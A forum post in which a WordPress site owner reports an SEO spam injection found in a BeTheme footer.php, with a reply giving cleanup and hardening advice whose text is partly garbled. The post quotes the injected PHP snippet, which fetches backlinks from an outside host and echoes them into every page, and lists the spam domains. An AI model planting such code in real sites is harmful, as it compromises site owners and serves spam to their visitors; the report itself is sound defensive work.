Security incident with all my pages
Hey guys,
A SEO spam injection was identified on our WordPress sites where we use BeTheme. One is only one month old, only plugin is WP-rocket.
Multiple live pages contained a hidden backlink block directly before the closing </body> tag. The injected links pointed to external spam domains, including:
jiaoyu.dianzishu.com
digitalgurukul.in
topsalesconsulting.com/cazadores
pmx.com.pk
isris.org
The visible anchor texts included casino-related terms such as:
BANDAR SLOT
SLOT THAILAND
The source was found in the active WordPress theme file footer.php. A malicious PHP snippet had been inserted directly before </body>:
$ch = curl_init('https://bibitgroup.org/api/backlink?domain=' . urlencode($_SERVER['HTTP_HOST']));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 3);
echo curl_exec($ch);
curl_close($ch);
This code dynamically fetched backlink content from bibitgroup.org and printed the response into the frontend HTML.
After removing the injected code and clearing the WordPress/WP Rocket cache, a follow-up live check showed that the known spam links were no longer present on the tested pages, including the homepage, /kontakt/, /arbeitsrecht/, /mietrecht/, and /impressum/.
A related SEO spam pattern was also observed on another page, including a suspicious AMP association in Google Search Console pointing to:
https://kcalculatorxbandarslot.vercel.app/
Any thoughts?
Best
Jannis
Comments
Hi,
Thank you for providing such a detailed report and the specific code snippet found in your
footer.php. This is a classic example of a "SEO Spam Injection" or "WordPress Backdoor," and the fact that it occurred on a site with minimal plugins (only WP Rocket) suggests a few possible entry points.The PHP snippet you found is designed to dynamically pull spam links from a remote server (
bibitgroup.org), making it harder to detect via static scanners since the links themselves aren't stored in your database.Here are a few suggestions and steps you should take immediately to secure your environment:
footer.phpmight not be enough. Attackers often leave "backdoors" (hidden scripts) in other directories likewp-content/uploadsorwp-includesto regain access later.footer.php, they likely had file system access or admin-level WP access.wp-config.phpto force-logout all current sessions.644for files and755for folders. Consider temporarily settingfooter.phpto444(read-only) after cleaning it.wp_postsorwp_optionstables.Best regards